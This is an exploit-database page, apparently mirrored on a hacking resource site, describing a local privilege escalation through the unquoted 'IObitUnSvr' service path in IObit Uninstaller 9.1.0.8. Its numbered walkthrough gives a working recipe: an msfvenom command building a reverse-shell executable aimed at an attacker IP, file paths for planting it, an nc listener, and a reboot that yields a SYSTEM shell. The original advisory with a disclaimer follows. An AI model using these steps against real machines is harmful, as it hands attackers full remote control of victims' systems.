IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path
https://awesome.hackpuntes.com/exploit-db/iobit-uninstaller-9.1.0.8-iobitunsvr-unquoted-service-path
IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path
Exploit Database

FILES

iobituninstaller v9.1.0.8.zip
20MB
Binary
Vulnerable software

POC

  1. 1.
    Install vulnerable software
  2. 2.
    Windows + R and type cmd
  3. 3.
    Execute command sc qc IObitUnSvr
  4. 4.
    1
    C:\>sc qc IObitUnSvr
    2
    [SC] QueryServiceConfig SUCCESS
    3
    SERVICE_NAME: IObitUnSvr
    4
    TYPE : 10 WIN32_OWN_PROCESS
    5
    START_TYPE : 2 AUTO_START
    6
    ERROR_CONTROL : 0 IGNORE
    7
    BINARY_PATH_NAME : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
    8
    LOAD_ORDER_GROUP :
    9
    TAG : 0
    10
    DISPLAY_NAME : IObit Uninstaller Service
    11
    DEPENDENCIES :
    12
    SERVICE_START_NAME : LocalSystem
    Copied!
  5. 5.
    BINARY_PATH_NAME contains spaces and isn’t enclosed within quotes
  6. 6.
    Make a malicious exemsfvenom -p windows/shell_reverse_tcp LHOST=[IP-ATTACKER] LPORT=[PORT-ATTACKER] -f exe -o IObit.exe
  7. 7.
    Copy a malicious exe in some path like the following
    1. 1.
      C:\Program.exe
    2. 2.
      C:\Program Files.exe
    3. 3.
      C:\Program Files (x86)\IObit\IObit.exe
  8. 8.
    Listen on attacker machine nc -lvnp 5555
  9. 9.
    Reboot victim system
  10. 10.
    When the victim machine reboots, you will get a reverse shell with admin system privileges

ORIGINAL

1
# Title: IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path
2
# Author: Sainadh Jamalpur
3
# Date: 2019-10-22
4
# Vendor Homepage: https://www.iobit.com
5
# Software Link: https://www.iobit.com/en/advanceduninstaller.php
6
# Version : 9.1.0.8
7
# Tested on: Windows 10 64bit(EN)
8
# CVE : N/A
9
10
# 1. Description:
11
# Unquoted service paths in IObit Uninstaller v9.1.0.8 have an unquoted service path.
12
13
# PoC
14
===========
15
C:\>sc qc IObitUnSvr
16
[SC] QueryServiceConfig SUCCESS
17
SERVICE_NAME: IObitUnSvr
18
TYPE : 10 WIN32_OWN_PROCESS
19
START_TYPE : 2 AUTO_START
20
ERROR_CONTROL : 0 IGNORE
21
BINARY_PATH_NAME : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
22
LOAD_ORDER_GROUP :
23
TAG : 0
24
DISPLAY_NAME : IObit Uninstaller Service
25
DEPENDENCIES :
26
SERVICE_START_NAME : LocalSystem
27
28
C:\>
29
30
#Exploit:
31
============
32
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
33
34
# Disclaimer
35
=============
36
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
37
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
38
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
Copied!
Last modified 2yr ago
Copy link